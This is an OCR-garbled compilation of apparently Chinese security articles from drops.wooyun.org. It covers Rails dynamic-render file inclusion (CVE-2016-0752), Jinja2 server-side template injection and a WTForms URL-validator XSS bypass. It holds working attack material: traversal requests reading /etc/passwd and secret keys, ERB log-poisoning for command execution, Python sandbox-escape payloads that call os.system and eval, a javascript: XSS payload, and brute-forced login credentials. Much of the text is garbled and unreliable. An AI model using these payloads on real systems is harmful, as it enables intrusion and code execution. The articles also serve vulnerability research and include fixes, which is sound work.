5000 =
i 10 B
TSI
e
— drops.wooyun.org

K 3-2-24

LUTFEEBEC demo MIAYLESR |, 4NE 3-2-25 #0 3-2-26 :

XIAOCMS
PoDfE R a1 g bR s A = O

LSiFe: 3 S M

i

drops.wooyun.org

3-2-25

212 50 / & 250 00 AXHHME R 2 Yol = 23580, VIZIA FAREHE.
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FEERNE Y MHTIEHR — YR 10 token(BRHEA MR referer) TIRZH

M EECTEREMEARIEM] #0token=(1")}7<F &> "7 MITERIAT A EILL#M REGERE] EEHRISIE
hitp://172.16.8.95/4cc/admin/index php Zc=login
usemame=${USER)&password=8{MD5_16{MD5_16{PASS)+LIPPER(VER)}dcode =S${VER}&submit=E53%
http://172.16.8.95/4cc/index php Po=apida=checkcodsdwidth=058height =26

[C] HihiaEs

UTF-8 -

G EANEE

2isiT:8 | FFFis{T:0 | ETEE{T0 | FHEE R

d:\Users"Nemo'\Desktop New folder'New folder\TEST ci png H
WUEETIERA M e E
S I ER E R IR e [C] fErtarE
P =i s &3 SR
admin 111111 200 EnHER i
est adm 200 R
adm adm 200 EER 24
admin a123456 200 FHsE R
adm testtest 200 EEER SAER
test 2123456 200 B et wil
test testtest 200 oty DL}
test 11111 200 EitER
i5ER
ABR4AiEL:
5000 =
32 (10 =
=R
Frig

drops.wooyun.org|

Kl 3-2-26
WEFIREIIEEEYE | 20E] 3-2-27
#E admin----a123456 = | B
Reguest Header
Header "
1e97607ebe113a12<br=162853725 70 32X 3<\DOCTYPE html= “\_:]
<htmlz=
<head:=
<meta charset="utf-8">
Aitle>3I2T{EE - Tiscfms< titler
¢link type="text/css” rel="stylesheet” href="/xx/core /imeg /message/xiaccms. c55”/>
</head>
id="right” »
admin ‘Eiﬁ;{i{fh;}
<a href=".
<{script language=" 1800) : </ seTipt>
< p
£/ divy
<fdiwry
</ bodry
</ htmly

drops wooyun.org

=]

K 3-2-27

%213 51 / & 250

U DUPHE B2 Ml 295830, DIZIIFAREALE -
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EE SIS

SET BRI OMIEFIERRE T ks
http://down.future-sec.com/VerifyReader-1.1.zip

(£X5e) =ERE : EX

—

1)

= mEAR

#13 Ruby on Rails I xZER T ERBE T KIE
(CVE-2016-0752)

15&  I\GHF

kE : BRAIRE

RatiE : http://drops.wooyun.org/

i

ANERARRIN R EERE T shEZREESR ( dynamic render paths ), WS params[:id] , BEA
IR (local file inclusion ), AJEERSEUTIEAIIHIT. ALUBITERZ Rails AIEHT
iRAS , SREEHAIREY controllers SRIEEIRIE.

NEEBEMEATERERART Ruby on Rails FEZRAI—MRIGSEINEESEBTERITHR
.

F£ Rails controllers AUIRITH , SARIERIARRTTE | BTURTERXINAY view X4, 580 ,
ZiEA controller Ay show JTERT , NFRAIFILBIFHIEETETMT view file , 1EZRHE
PEzCRYIEZ show.html.erb X4,

RMERSER T FTRESIRIBEKRER 20 text, ISON, XML SREBHHEZRIIANS., AT,

view file 2—MERIESUA 21 ERB, HAML F, Rails TEZRPFESNTIAREERA TR
%2140 / 5 250 T AUHHE B A Bk 2 158, DI T AR .
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3T view A, ANPFERKFERTIE (render method ), Rails BISEHLEH T SFE
RS ENAT, , BIEFERA file: IATCRIFHHEEEERM view file IER,

SNSRRIIE T %I R8I

http://guides.rubyonrails.org/layouts_and_rendering.html

{REFITRERNARREIRR, | IEBAIRE—RRANAD

def show
render params[:template]

end

F—IRE , XBRAEIERER | iZ controller action BIFEINEE/IER template SEFETE
view 1&iR, {8 Rails {M{IEILISEANRIRIE ? £ views BR TEI ? EMFERY root BHRE
TEK ? S 2EEMUE ? 1ZSHER—MERINEIR ? B— 1 B ERRNHER ?

BRI S BATGHES R P XERRTS SRR BIFEEELIRAT A Rs52IE

"

75i5iaR

TEZRAEZAE ( render mechanism ) B—MER—REHMIRETTRASINRERIFIF | 1XtE
B SHT R AR TARE 7.

HAVREERNVHRITEM T ARBIESIE app/views/user/#{params[:template]} {4 , IZfRiIR
ERRRUTESEN. SR template SEEHEN dashboard , BPARSENNE
app/views/user/dashboard.{ext} 34 , Hf .ext 2EBARITRIGEEEE ,

0 .html, .haml, .html.erb &£ , 0E 4-1-1 :

localhost:3000/users/dashboard Q.f = c
Dashboard Template
4-1-1

215050 / & 250 01 AXHME R POl = 258, VIZIE TAREHZ .
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RIZAFLER template SEUEJY ../admin/dashboard, FEFHITHERSEMA ? HUUT

J& TR T EHRDIEIREEIR ( missing template error ), AN 4-1-2

localhost:3000/users/..%2fadmin% 2fdashboga

Template is missing

Seems suspicious

Missing template ../admin/dashboare . :
:handlers=>[:erb, :builder, :raw, :ruby, ]bunder coffee]} Sedrghed in: *“/Users
/Poulin/Dev/rails-rce/app/views" * "/Users/Poulin/Dev/rails-rce" * "/"

K 4-1-2

BEDTTIRIEER | FAITLALE , ERAEES MR TEREERY view file , B
RAILS_ROOT/app/views , RAILS_ROOT FIS4ZRFANREE R.

M EFRIRE RINBFAERHRITAHRIEERIRAY , RIS /etc/passwd A
template SEAYUEEN , FEBEZIEIZ] passwd XHRIAE. BRAKSE—MRTER

[BRR , 4NE 4-1-3

localhost:3000/users/% 2fetc%2fpasswd Q¢ ¢ & Q searcn

it # User Database # # Note that this file is consulted directly only when the system is runn
information is provided by # Open Directory. # # See the opendirectoryd(8) man page for ac
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrato:
Services:/var/root:/ust/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/u
Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/ust/
Assistant:/var/empty:/ust/bin/false _Ip:*:26:26:Printing Services:/var/spool/cups:fust/bin/fal
/spool/postfix:/ust/bin/false _scsd:*:31:31:Service Configuration Service:/var/empty:/ust/bir
Service:/var/fempty:/usr/bin/false _mexalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/fal
Dacmﬂn fvarfcmpty fusrfhuﬂfalsc _gmd * Sﬁ 56:Geo Scmccs Dacmnn Ivarfdb!gmd fusrfhl

K 4-1-3

SNERBAIBEGSIEEN passwd XHRINZ |, BBAL AT LUSEE N FRAZFFRITRCABAIBCE S | 1N

config/initializers/secrettoken.rb 3Z/4 , 2N& 4-1-4 :

#5216 01 / & 250 1t ANHHE R A Al 258, VIZ0H T aARE & .
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3t:30 G:).-".JSEI’E n2fconfigs2finitializers % 2fsecret_token .rah s

. . Session initializer secret
# Be sure to restart your server when you modify this file. # Your s

change this key, all old signed cookies will become invalid! # M
words or you'll be exposed to dictionary attacks. # You can us ret key. # Make sur
secret_key_base is kept private # if you're sharing your ¢ ublicly. RailsRee::Application.config.secret_key_base =

'T7bf1d74d919ce59a5b60e267965b0c 1 ac9feb980bd9f1aff3407f46f0069cf5bodea22ad943a67d66ebas8ec1f5551adcel9

integrity of signed
acters and all rand«

K 4-1-4

SHZRNERZ , R APFERTIIAESERR ( dynamic render paths ) :

def show
render params[:template]

end

XAMERAIASEYBIF | UEBE T W& BeiE s BN A JAYRAC RSO TR P EC B . AEM
2 XERERIIER.
U Jeff Jarmo TEABAYSIE The Anatomy of a Rails Vulnerability — CVE-2014-0130: From

Directory Traversal to Shell

http://guides.rubyonrails.org/layouts_and_rendering.html

chiARY |, B REBERI X NERERE— shell, Jeff FIXEHHHA T ERLLARAHY Rails
AIRSEUESNBIR —MEIURTR | BEfE7iFBRIER ( directory traversal ), EEAEHHRIT |
AR (local file inclusion ), AN HFERKITRNESR ( explicit rendering ), X
B HERAREMSINGREE.

EHANETOWET , XEEZRRNDRIFAHAEMARERELRN | [REZER G
eSS (ERB ) #HTINEL. MEREHHUT, NEREN LKL . BREHRERERZEAR
HATHY ( non-executable ) FIRE , a0 CSV 314, FRIMAERR , FAIMURBEBIE
ENR PR FFROTRA AR IEL AR S | 1IRRETEHAT Ruby RS, BESATRAIBEREHIT
Ruby

K, FAIBEEBTE web server EHUTRHARS! ( system-level ) FIGH<,
ENUHEEBENIER) shell FOSREH FET—MKEATRA FRABSIUFSH (log file

217 51 / & 250 01 XS R A Yol = 258, VIZIE TAREHE .
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tainting). Rails FEIZ{TIZREF , SRBENRERICRIIBEMAF | BIEERSEWU
development.log . BEMHRAEN AL , 8E5EE Ruby {UH3. BEXMHSRALIE
JE web MARREFAZE—MESRNIEK , IBKIISEHTEIEXHEI Ruby {THBREH.
ETERIGIFS , BfilE web NARERAR T —1MEZANEK , B URL i ETES

LRI, 2 URL JRIBRIZSER <%= \'Is\' %> , 21E 4-1-5:

localhost:3000/users/dashboard§f

Dashboard Template

4-1-5

BEEEREXE | FATTLIEE  BEFBERSEHRIL hash BENNSGIVRT , FHHT

T URLAERD, XEBEXEY Ruby IS , BEBSTESUHRREIATHT | QNE 4-1-6

Started GET " /users/dashboard?fake=%3c%25%3d%20%60%6C%7 3%60%20%25%3e" for 127.0.0.1 a
84-22 20:53:53 -0400

Procaceinn l-u lNearTantrallarbehoaas s HTMI

Parameters {"fake" NS 15 =" "jd"=>"dashboard"}

nengerea u.:c.-;u::..:nuunnu NUML.8ry wiLnin Lnjuul..u ﬂppLJ.\.::\.LJ.Dn {B 3|T|5:|

Completed 2080 OK in 4ms (Views: 3.9ms | ActiveRecord: 8.0ms)

K 4-1-6

Eitt FAIREBF AN S RREESIINEATIE FITEEHY Ruby RS 21E] 4-1-7

localnost:3000/userl.%2flog %2idevelopment.log ) are e Search

Started GET " fuscrs!dashboard"fakcﬁ%3c%25%3d%20%60%60%73%60%20%25%3(: for 127.0.0.1 at 2015-04-22 20:53:53 -0400 Processing by
UserController#show a o—>"Gemfile Gemfile.lock README.rdoc Rakefile app bin config config.ru db 1ib log public
test tmp vendor ", "id" d html .erb within layouts/application (0.3ms) Completed 200 OK in 4ms (Views:
39ms| Actichocord: gfation.css?body=1" for 127.0.0.1 at 2015-04-22 20:53:53 -0400 Started GET "/assets
fjquery_ujs.js?body=1 :53:53 -0400 Started GET "/assets/jquery.js?body=1" for 127.0.0.1 at 2015-04-22 20:53:53
-0400 Started GET "/a 127.0.0.1 at 2015-04-22 20:53:53 -0400 Started GET "/assets/application.js?body=1" for

Result of executing "Is”
command

K 4-1-7

SATXMHRERT , FAIEBEZISER] hash B, ZBIBEFKA] payload HIERS , 24K Is
I CHIHTERE R, FIXE , BAITEEEBLA web-server XN AP REHITR S

7.

5218 1 / & 250 WU AXUHHE B 24 ok 22 2158, VIZDH T AREHE.
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1EEGE & ERIENR

L% Rails FFERRAAIANT

http://guides.rubyonrails.org/layouts_and_rendering.html

NSRRI RBELE patch , AAUUFREILERERRZIMINGE. BRGEA , £ action #
EXAFNXEEBRE hash , IAFPKNSEHHTIRE | HIFSEESUEBREE hash /A,

XM TT AR N R A AR BRI | IS

def show
template = params[:id]
valid_templates = {
"dashboard" => "dashboard",
"profile"  =>"profile",
"deals"  =>"deals"
1
if valid_templates.include?(template)
render " #{valid_templates[template]}"
else
# throw exception or 404
end

end

B—MRURIE ARG ENX Y, EEERENERTHFE

def show

template = params[:id]

d = Dir["myfolder/*.erb"]

if d.include?("myfolder/#{template}.erb")
render "myfolder/#{template}"

else
# throw exception or 404

end

end

LtAh , FRATTLMER Rails 57551 TE Brakeman :

http://brakemanscanner.org/

BERIFEN EFER. Brakeman IGMIRESLEHFER TIIRERIZEMY controllers , ATLA
TRIBLESRDHTHRLE controllers SBIRIRVIBHRITAIXIEG.

AdTElEh
21901 / & 250 11 AUHHME R e M E =80, VIZIE e &
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2015 &£ 2 B 1 BimE#HRELS Rails Team

2015 % 2 B 10 B Rails Team EEESERIHE

Patch £ 2015 5 7 BRFWIEEY. - EEREEIED 5 MNF

Patch 1£ 2016 &£ 1 B 25 HA&%h , I®iAfRS CVE-2016-0752 :
https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00
- [EEWIEESEE 6 M8 |, IEEREAREI—F

Rails FIEZAHEIR—MEBARMATINGE , MMRRERNSESATDREFRFHR., 5
CVE-2014-0130 &L , (EFAESERBRERSHERBHMAEHIIT. AIRESNRITH
Rails FHRIIBAIES , WELBILIFESHERITAES INGIELIRRE.
NFURIEIRBFNET Jeff Jarmoc BINE |, FEWUREFNELT., RATHRT
CVE-2014-0130 AUIRAMADHIXER. X FHITFZRS SRS EEMRIBNL , S L, X

RN ERIEERAREE. FRELET Metasploit A POC 1&EIR :

https://gist.github.com/forced-request/5158759a6418e6376afb

XAMERALABTHNFALE web NABREFFINTIE TSR TIRRE , 20E 4-1-8

Frull+

.168.0.11:4444 -= 1

(£X5c) H=ERE : X

5220 11 / & 250 T AUHME B e M 21, VIZIA T ARE S .
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% 237 #IH Python $#%7E Jinja2 R PHATEEARG

& : RickGray
kB8 : S=ANRE
RILE : http://drops.wooyun.org/
51}y
RIFEFEIN@nvisium FEEIEERFRAIE (Injecting Flask), EFRXFEE R T
Python &tz 5|28 Jinja2 FERRSSIRIEMIGEN (SSTI)FRIEMAFIRTTIE | EREBIEHIRIRNE
R R R EEEHEEMAAF BE X RS TR R AEFIRIERHT XSS &,
XITF Jinja2 RS 2 EREHE SSTI RUER FEEM TR SFIGHREMLRA , F#E%E
Jinja2 B3Rt AR BIRPHAGEBEEREHUTER Python 5 JXHERFA Jinja2
chE IR IR HIT Python REBEE S SIAFAKATRE
RIRFPEZRAEEMITHE

RIAEHTIME AR TTEFIESE Jinja2 iR FEILATGE—L Python REZE |, 0[] {

&, FTEREIEAER Python ZRERAIRI—LREL , MU —0T ¢

# coding: utf-8

import sys

from jinja2 import Template

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv)>1 else '<empty>'))

print template.render()

ATHEER  XEERGHSSHMAFHEAERATHN—So AR TERE | XEHK

MNEEMA{ abcd' MERINEIZEERFFETE , WE 4-2-1 :

(deme)-> jinja2vuln "{{ 'abecd' }}"
Your input: abcd

(@8f8)-> jinja2vuln ]

4-2-1

S LR T LSRR P ERERRESLAIRIREL , (AR ETRY upper(REISH

55221 50 / & 250 U AXHHME R Yol = 2358, VIZIA FAREHE.
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FRIEREIRNEXERL  WE 4-2-2:

(demo)» jinja2Vuln "{{ 'abcd' }}"
Your input: abcd
(demo)+ jinja2Vuln "{{ 'abcd'.upper() }}"

Your inputy ABCD
(@8f8)-> jinja2vuln i

K 4-2-2

ABAIMATE Jinja2 RIREIRHAAT Python {CHBIE ? ANETSANRIA R B EERIRIA LT
EREA BEEERTPHITER | fIMNERERRFEREAANERR os , BIFREEERINS

FPRSEIERT , MR AT ¢

# coding: utf-8

import os

import sys

from jinja2 import Template

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
template.globals['os'] = os

print template.render()

PATHRES | FEANSE{ os.popen(‘echo Hello RCE').read() }} , BAEEREFEEE
it T os &) Python os &R , FRLART B EEABERRECKHITRESimS | XBEHITER

Z% 559 echo Hello Command Exection , ¥1& 4-2-3 :

(demo)~> jinja2vuln "{{ os.popen('echo Hello Commnad Execution').read() }}"
Your input: Hello Commnad Execution

(88f8)~> iinja2vuln []

K 4-2-3

NREFARBIE—KHT . 2165 os REXHFEEIR , WE 4-2-4 :

(demo)-» jinja2Vuln "{{ os.popen('echo Hello Commnad Execution').read() }}"
Traceback (most recent call last):
File "demo2.py", line 8, in <module>
print template.render()
File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py"”, line 989,
in render
return self.environment.handle_exception(exc_info, True)
File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py", line 754,
in handle_exception
reraise(exc_type, exc_value, tb)
File "<template>", line 1, in top-level template code
File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py", line 408,
in getattr
return getattr(obj, attribute)
jinja2.exceptions.UndefinedError: 'os' is undefined
(@8i8)-> jinja2vuln JJ

B 4-2-4

55222 51 / & 250 U AXHME R A Yol = 258, VIZIE TEAREH S .
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T Python BHEEEITESNRED

A, AUATERIER os RERAIER FMEERTIER popen)REFITES A SE ? BIED
2T, £ Jinja2 Spi&iREEE5(A) Python RO B EHEA LB N E R TR
& XHFRIEEREEE T E A Python IWEIMERERTTIE | 40 2014CSAW-CTF iy

—iE Python iV E5ITEE , NSRBI :

#!/usr/bin/env python
from __ future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned =

"import" ,

"exec" ,

"eval" ,

"pickle" ,

"os" ,

"subprocess" ,

"kevin sucks" ,

"input" ,

"banned" ,

"cry sum more" ,

Toys"
]
targets = __ builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:

del __builtins__.__dict__[x]
while 1:

print(">>>" , end="'

data = raw_input()

for no in banned:

if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak

exec data

( FIA Python 5TV SRHBBNFAEHABBSE Writeup ), IXEISHEBXHERT

PoC , 40& 4-2-5 :

55223 51 / & 250 U AXHHME R A POl 258, VIZIE TEAREH S .
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[c 1="c" 2="in" 3="[" language="for"][/c].__class__.__base__._subclasses_ () ifc.__name__==
‘catch_warnings'][0].__init__.func_globals['linecache'].__dict__['0'+'s'].__dict__['sy'+'stem']('echo Hello

SandBox')

tmp
Welcome to my Python sandbox! Enter commands below!
>>> [c¢ for ¢ in [].__class_ ._ base ._ subclasses_ () if c.__name__ == 'catch warnings'][@]._ init_

_.func_globals['linecache']._dict_['o'+'s']l._ dict_ ['sy'+'stem']('echo Hello SandBox')
Hello SandBox
555 I

K 4-2-5

SRBI XM TAMUNEES BT os BWEKFUTRGT S | KEEHTHHEESHRME B
RSB B TIEIE

[EEJIE7E Jinja2 R ERFUTIBRIEE L , EARIRaEeEa Python RERIE
EMZETZ% , FRAREET Jinja2 (ERIEEXEHEE , EIALIMEHIN TSR

Payload SRIAZIFN LM PoC —HFAYER :

{% forcin[].__class_ . base . subclasses_ () %}

{% if c.__name__ =="'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}

{% endfor %}

{EF8i% Payload fEATBIRIBBRIAITSE , RESHITRS< id , WE 4-2-6 :

(demo)> jinja2vuln "{% for ¢ in [1.__class__._ base__._ subclasses_ () %}{% if c.__
name__ == 'catch_warnings' %}{{ c.__init__.func_globals['linecache']._dict_ ['os'].system('id"') }}{
% endif %H% endfor %}"

uids= gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(1loc
alaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator

),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access
_ssh)

Your input: 0

[88i8)> jinja2vuln [|

4-2-6

IRRTIEMIKE os HERSh | ITREEIEIRE] eval REFFHITAR |, XEHELBERSEM
Python {15,

JRa# PythonPoC {CS40'F

[aforain[bforbin[c1="c" 2="in" 3="[" language="for"][/c].__class__ . base__. subclasses_ () ifc.__name__
=="'catch_warnings'][0].__init__.func_globals.values() if type(b) == dict] if 'eval' in

a.keys()][0]['eval']('__import__("o0s").popen("whoami").read()")

95224 70 / &5 250 U AXHE B2 Yol 2158, VIZIH T ARSI
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£ Jinja2 HtEtR Payload 20 :

{% forcin[].__class__._ base__._ subclasses__() %}
{% if c.__name__ =="catch_warnings' %}
{% for b in c.__init__.func_globals.values() %}
{%ifb.__class__=={}._ class__ %}
{% if 'eval' in b.keys() %}
{{b['eval'l('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

{£F3iZ Payload fE/aIB —AIHUTSEL ((ERE5EI1SEENX ), AIHUTR(ER eval)BREL

SSEN os RRFARITERS | WIE 4-2-7

(demo)» jinja2vuln "“{% for ¢ in [l.__class_.__base__._subclasses__() %H% if c.__
name__ = 'catch_warnings' %H% for b in c.__init_.func_globals.values() %}% if b.__class__ = {}.
_class__ %H% if 'eval' in b.keys() %H{ b['eval']('_import_(\"0s\").popen(\"id\").read()"') }}%
endif %H% endif %}% endfor %}% endif %}% endfor %}"

Your input: gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(ever
yone),61(localaccounts), 79(_appserverusr),80(admin) ,81(_appserveradm),98(_lpadmin),33(_appstore),100
(_lpoperator),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.
apple.access_ssh)

(8810)- jinja2vuln |

K 4-2-7

FIRREHBSE X

SSTI ( IRSBIHAEMIEN ) BEIT SSTI #=H Web RIFFEZUENR ( ET Jinja2 ) A% , AILAE
ZHTIZRARD (@59 ) HiiT.

ST —INRHREREIRAT TR , BRAXMBEHAENL  BELSBERRRZS
BRANT KL FESIERA— LR E.

£ Jinja2 t&ARHFHLERIA Python FEHATERAES | BILAER Jinja2 BEATPREINE
jinja2.sandbox.SandboxedEnvironment , Jinja2 BtiA7D ATNESIERITIESIRASIT SIS

P FRVZERY | T REIMVBEREDAESMLER. W0E 4-2-8
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(démo)+» jinja2Vuln

# coding: utf-8

import sys

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
print env.from_string('{}'.format(sys.argv[1])).render(car="moo")

(demo)» jinja2vuln "{{ [1.__class__.__base__ }}"
Traceback (most recent call last):
File "demo5.py", line 6, in <module>
print env.from_string('{}'.format(sys.argv[1])).render(car='moo"')
File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py"”, line 989,
in render
return self.environment.handle_exception(exc_info, True)
File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py", line 754,
in handle_exception
reraise(exc_type, exc_value, tb)
File "<template>", line 1, in top-level template code
File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/sandbox.py", line 332, in
getattr
return obj [attribute]
jinja2.exceptions.SecurityError: access to attribute
(@8H8)-> jinja2vuln |

__class__"' of 'list' object is unsafe.

K 4-2-8

https://hexplo.it/escaping-the-csawctf-python-sandbox/

(£3X5c ) HfEwLE - #3880

% 339 M WTForm [¥] URLXSS R FFIR A 4R i 22 2

#E2  phithOn

*8 : S=ARE

kALt @ http://drops.wooyun.org/

FHRAHRBEANATK ARG AT NI ER |, B [(FEESERF] NREBE
EAXRERRFNEAN  FNEFRPIUEERA | RO TESEFRNIEE.
FRBHFFRIEFBE—EXE  FFREGERNERERTAE  MAREFRIUE
EEmEAF, FRREAH a0 JavaScript EBRY uploadify ,php 289 PHPExcel & ;FHFER |,
a0 php BHY wordpress, joomla , node.js 5fY ghost &,

MEZEMS  BEER  FREMIRRENESRIEGEX. BEXEFRAHIIRFR
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ARDHIERA RS , RS TILRREE
1 FFEFRRREEEERAM | RETLIBE—MNERR poc KiHEM , BE [Eildh

Bl MARBHBRTAEFERLGEARR , SEGERS— ARt ENES

2 KREAEFEER , 20 wordpress , TIfR/DE AXDE wordpress PIENMFEFE 7 HRLEFHR
B, BRAY , HHIBRORMRAIER SN X NERE wordpress BYIEiE.

REBHELEATAS ( [FE] BRizASERE  EREHEITHRHERBRDRXE import
HERIE =7 ERIRRSERE. AT, FRREMHSEEIRREERD,

4 BB RFFRBMHIFFAEASERENES  ABRERS , BEFRAHHRRRT
BEMERVN,

5 BMRRSEERN  RERSITNEREHBESIEREFEREN  RSERE(IER
BEFRELA [45tE) | (BSCfr biXEs R Mt R LRmRER A,
FRIRNAENFENZ25E  JLIAERZRE—FRE. MR aHIa LA
BARAIRE : Java RFEFFIIRIE. joomla BIEBHIT. redis Y5 ssh key , aTLABR R REHT
BEMmEMALRIE SR , MAIENMEAKD , B T IE—FA 2R ZXKE.

Java RFFFLIRIR | TEAF LR ERELAT [B] Fr B ERRIRIEE. BE 2015 1R 285,
HEEIEFIRE 7FIA Apache Commons Collections iX4N& FIRY Java BESSCHUER(
RBITRITTE , BFRBEARZXTE ([ RREIMERXMF ) BE 11 BEARRETRXAS
i&IEE WebLogic, WebSphere, JBoss, Jenkins, OpenNMS 5 FRHORTIR , A #55R
KRR,

XML R [FRREM] 1 [FHRRA] EReRRXEE LRIER,
HNMANEE= LRSIV MEGRRE . MBIEEART ThinkPHP #2258 E N |, EI/SMERY Tornado

SRR | Bl slimphp B9 XXE , BEAEER B CEERTXEEME | MBI UBM code
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review RIRHERZINAT,

XRENELA—MIF | R BORAEIXIEE =75 BEidt4T code review , SAMMEIEMERE=
T3,

WTForm HIRJ8S validator

WTForms & python web FFRHEERN—MEMH , BIRHETERIRELER. KiE, 5%
FI8E , @RS python web &2 (4552 flask ) AATER/DRIERBIEEZ —,

WTForms fE—1"EEAVIIEEMEXBRBARTIRE , XA/ validator :

http://wtforms.readthedocs.org/en/latest/validators.html

A validator simply takes an input , verifies it fulfills some criterion , such as a maximum length for a string and
returns. Or , if the validation fails , raises a ValidationError. This system is very simple and flexible , and allows

you to chain any number of validators on fields.

AT LA Bt EEFFE A E validator JIEUEHTIRE | ELAIEAIEFERFBA— [FH

Z]. I&58 10 MFRF). [&IK 64 NFFRF] A9 TURL k], BRAFKA IR ARSI T class:

class MyForm(Form):

url = StringField("Link" , validators=[DataRequired() , Length(min=10, max=64), URL()])

LA flask 7951 , 7£ view fEIR REEVEA validate ) RE BTG ERFRIBARESEIE :

@app.route('/' , methods=['POST'])
def check():
form = MyForm(flask.request.form)
if form.validate():
pass # right input
else:

pass # bad input

BRI R TR BT REFFRTIEE., BB M code review RUSTEFARI ,
WTForms IRE validators HAE(E SHiZEAAE AuliiEZ e E3R5 validator
TENEHIIER.

FME LRI RGF  XBRABENTLUGERFBAREEEEE— TURL] 4 ? 4]
&7 wtforms.validators.URL()3 :
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class URL(Regexp):
def __init_ (self , require_tld=True , message=None):
regex = r'ra-z]+://(?P<host>["/:]+)(?P<port>:[0-9]+)?(?P<path>\/.*)?$'
super(URL , self).__init__(regex , re.lGNORECASE , message)
self.validate_hostname = HostnameValidation(
require_tld=require_tId ,
allow_ip=True ,
)
def __call__(self , form , field):
message = self.message
if message is None:
message = field.gettext('Invalid URL.")
match = super(URL , self).__call__(form , field, message)
if not self.validate_hostname(match.group('host')):

raise ValidationError(message)

H#ET Rexexp 3£, LR ERUEXSAAEIABTIERIUES, FAIBZERIEN

regex = r'Aa-z]+://(?P<host>[*/:]+)(?P<port>:[0-9]+)?(?P<path>\/.*)?$'

A0, XPNENSTAEERER URL FERIARILE, KR AIFFAEREIRIGAI URL 2—
A THTTP fak] |, (EXNENCERRIAEZNAZ T R RmEETEERS
protocol,

RAZBEIN— M REHNHEFIFE Javascript N iEART XSS |, ELAFAENAY url 2

javascript://...xss code

WTForms $EARIXE—NEIEI URL , HEANSUERE., MEWSSZiE+ URL BEEmH
fEBsEREERY href Bt , M href BIESHFFIA Javascript {otiliT JavaScript {XAE.
BB, XEFBIRARETEEEE— XSS Wi, B— 1 EEHRSH validator 2

wtforms.validators.Email()2& , EEEHS :

class Email(Regexp):
def __init_ (self , message=None):
self.validate_hostname = HostnameValidation(
require_tld=True ,
)
super(Email , self).__init__(r'*+@([*.@][*"@]+)S' , re.lGNORECASE , message)
def __call__(self , form , field):
message = self.message

if message is None:
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message = field.gettext('Invalid email address.')

match = super(Email , self).__call__(form , field, message)
if not self.validate_hostname(match.group(1)):

raise ValidationError(message)

EEMHNENN.+@ ([N @[ @]+)$ | RPMENRATEGNBFRBAESZ Email, &
BIERY. + LA RN T EUERE,  FRLAFRFATHR URL()F] Email()/9 URL Finder
#1 Email Finder , M3F validator , B/ RATEIERFBA |, AIREES{FAIRR
B BT finder,

FIFEES validator #3i& XSS

XIS LR HIAERS RN MuEF, XGPS EIIE | fEaE
F3 URLOXSEER SEMSHITIONE , e EREMAF T LIREEMGNEIEE,

EIRAT : https://gist.github.com/phithOn/807869afbe1365015627

#®@ W @) coding:utf8 (@ W @)

import os
import flask
from flask import Flask
from wtforms.form import Form
from wtforms.validators import DataRequired , URL
from wtforms import StringField
app = Flask(__name__)
class UrlForm(Form):

url = StringField("Link" , validators=[DataRequired() , URL()])
@app.route('/' , methods=['GET', 'POST'])
def show_data():

form = UrlForm(flask.request.form)

if flask.request.method == "POST" and form.validate():

url = form.url.data
else:
url = flask.request.url

return flask.render_template('form.html' , url=url , form=form)
if _name__=='__main__"

app.debug = False

app.run(os.getenv('IP' , '0.0.0.0') , int(os.getenv('PORT', 8080)))

form.html:
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<IDOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>test</title>
</head>
<body>
<p>{% if form.url.errors %}
{{ form.url.errors|join('') }}
{% endif %}
</p>
<p>
your input url
<a href="{{ url }}" target="_blank">{{ url }}</a>
</p>
<form method="post">
<input type="text" name="url" style="width:300px;" />
<input type="submit" value="Submit"/>
</form>
</body>
</html>

demo TUE : https://flask-form-phithOn.c9users.io/EJ i, BBA |, XERASIFERE

N5 ? [EER URL BYIERY :

regex = r'a-z]+://(?P<host>["/:]+)(?P<port>:[0-9]+)?(?P<path>\/.*)?$'
super(URL , self).__init__(regex , re.IGNORECASE , message)

B/ FEWR  BEENRSEITRE 7 , SEEAEEEENT JavaScript, 375
EBER , BA/RRITER | AR ERTEA,

{EXEBIENHEIHRFE reIGNORECASE , FHigHE re.S , XS — B HIHRTIXMNEUIEAR
B ILEL,

NEXNERRRRBE TESR , £ JavaScript 7, AJLARRIBITRIFRA\n \r \u2028 1
\u2029 , MAEIENER TRILE\N \r , FTLAFRREEIT\u2028 5\u2029 XN FFRHE

#a47R0A], (\u2028 A9 url Z@t5/9%E2%80%A8 ) FrLA , & url ITRENA] :

javascript://www.baidu.com/idsialert(1)
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WAL url |, IR fE iR AbA | 20E 4-3-1 ¢

your input url javascript://www.baidu.com/alert(1)

Submit

flask-form-phithOn.c9users.io £7x:
" 1
- B 1E I B RIS

B 4-31

XNRRREE |, (HUFREE BRI A —BRAERASEE RERAER .
BLEARRERTEHIXA demo FHAEEIRBASERR A/ , FESE 7 —T github , 72 5 43
